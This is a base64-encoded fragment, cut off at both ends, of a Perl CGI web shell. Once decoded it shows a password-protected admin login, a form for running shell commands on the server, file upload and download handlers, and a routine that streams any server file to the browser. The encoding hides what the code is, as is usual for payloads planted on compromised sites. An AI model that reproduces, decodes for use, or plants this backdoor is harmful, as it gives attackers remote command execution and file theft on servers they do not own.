Gl0eSA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2Ugew0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICB9DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOw0KICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7DQogIH0gZWxzZSB7DQoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KCXRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXJsRW5jb2RlKCQpew0KCW15ICRzdHIgPSBzaGlmdDsNCgkkc3RyID1+IHMvKFteQS1aYS16MC05XSkvc3ByaW50ZigiJSUlMDJYIiwgb3JkKCQxKSkvc2VnOw0KCXJldHVybiAkc3RyOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsNCglteSAkdGV4dCA9IHNoaWZ0Ow0KCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOw0KCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsNCgkkdGV4dCA9fiBzLycvJy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KDQpQYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPg0KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KDQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPg0KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbXkgJHJlc3VsdCA9ICIiOw0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCQlleGl0KDEpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOw0KCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF